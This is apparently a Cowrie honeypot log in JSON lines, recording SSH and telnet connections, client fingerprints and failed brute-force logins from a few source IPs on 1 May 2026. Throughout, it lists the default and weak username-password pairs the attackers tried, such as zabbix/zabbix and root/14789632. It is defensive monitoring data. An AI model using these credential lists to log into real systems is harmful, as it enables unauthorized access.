{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:17.628074Z","src_ip":"176.65.139.103","session":"221a19e5faeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:17.712030Z","src_ip":"176.65.139.103","session":"221a19e5faeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:18.035386Z","src_ip":"176.65.139.103","session":"221a19e5faeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:19.227827Z","src_ip":"176.65.139.103","session":"221a19e5faeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59606,"dst_ip":"159.203.135.109","dst_port":23,"session":"e561e5231406","protocol":"telnet","message":"New connection: 185.26.126.47:59606 (159.203.135.109:23) [session: e561e5231406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:20.960336Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36296,"dst_ip":"10.17.0.5","dst_port":22,"session":"487101c295db","protocol":"ssh","message":"New connection: 176.65.139.103:36296 (10.17.0.5:22) [session: 487101c295db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:24.738525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:24.743097Z","src_ip":"176.65.139.103","session":"487101c295db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:24.826561Z","src_ip":"176.65.139.103","session":"487101c295db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:25.384826Z","src_ip":"176.65.139.103","session":"487101c295db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:26.477275Z","src_ip":"176.65.139.103","session":"487101c295db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36300,"dst_ip":"10.17.0.5","dst_port":22,"session":"0094d3c3479f","protocol":"ssh","message":"New connection: 176.65.139.103:36300 (10.17.0.5:22) [session: 0094d3c3479f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:31.665691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:31.670206Z","src_ip":"176.65.139.103","session":"0094d3c3479f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:31.751532Z","src_ip":"176.65.139.103","session":"0094d3c3479f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:32.135020Z","src_ip":"176.65.139.103","session":"0094d3c3479f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:33.248506Z","src_ip":"176.65.139.103","session":"0094d3c3479f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50212,"dst_ip":"159.203.135.109","dst_port":22,"session":"81ca6b5c5282","protocol":"ssh","message":"New connection: 159.203.92.129:50212 (159.203.135.109:22) [session: 81ca6b5c5282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:34.251200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:34.269480Z","src_ip":"159.203.92.129","session":"81ca6b5c5282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:34.272908Z","src_ip":"159.203.92.129","session":"81ca6b5c5282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1234567890","message":"login attempt [ansible/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:34.413244Z","src_ip":"159.203.92.129","session":"81ca6b5c5282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:35.425232Z","src_ip":"159.203.92.129","session":"81ca6b5c5282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41496,"dst_ip":"10.17.0.5","dst_port":22,"session":"97a59e7e5e81","protocol":"ssh","message":"New connection: 176.65.139.103:41496 (10.17.0.5:22) [session: 97a59e7e5e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:38.096700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:38.124091Z","src_ip":"176.65.139.103","session":"97a59e7e5e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:38.187920Z","src_ip":"176.65.139.103","session":"97a59e7e5e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:38.512824Z","src_ip":"176.65.139.103","session":"97a59e7e5e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:39.613332Z","src_ip":"176.65.139.103","session":"97a59e7e5e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55984,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f5eafb9750","protocol":"ssh","message":"New connection: 176.65.139.103:55984 (10.17.0.5:22) [session: c0f5eafb9750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:44.464035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:44.469274Z","src_ip":"176.65.139.103","session":"c0f5eafb9750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:44.551468Z","src_ip":"176.65.139.103","session":"c0f5eafb9750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:44.801655Z","src_ip":"176.65.139.103","session":"c0f5eafb9750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:46.097793Z","src_ip":"176.65.139.103","session":"c0f5eafb9750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.75999855995178,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:46.699716Z","src_ip":"185.26.126.47","session":"9ed0000f42df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":60640,"dst_ip":"10.17.0.5","dst_port":22,"session":"c60735ca5b12","protocol":"ssh","message":"New connection: 52.231.220.210:60640 (10.17.0.5:22) [session: c60735ca5b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:48.754486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:48.758884Z","src_ip":"52.231.220.210","session":"c60735ca5b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:48.939401Z","src_ip":"52.231.220.210","session":"c60735ca5b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14789632","message":"login attempt [root/14789632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:49.691470Z","src_ip":"52.231.220.210","session":"c60735ca5b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55996,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a6441cfe7fd","protocol":"ssh","message":"New connection: 176.65.139.103:55996 (10.17.0.5:22) [session: 7a6441cfe7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:50.550667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:50.554479Z","src_ip":"176.65.139.103","session":"7a6441cfe7fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:50.636358Z","src_ip":"176.65.139.103","session":"7a6441cfe7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:50.876769Z","src_ip":"52.231.220.210","session":"c60735ca5b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:51.006273Z","src_ip":"176.65.139.103","session":"7a6441cfe7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:52.112608Z","src_ip":"176.65.139.103","session":"7a6441cfe7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35838,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3bc15d07fda","protocol":"ssh","message":"New connection: 176.65.139.103:35838 (10.17.0.5:22) [session: b3bc15d07fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:56.536565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:56.554307Z","src_ip":"176.65.139.103","session":"b3bc15d07fda","protocol":"ssh"}
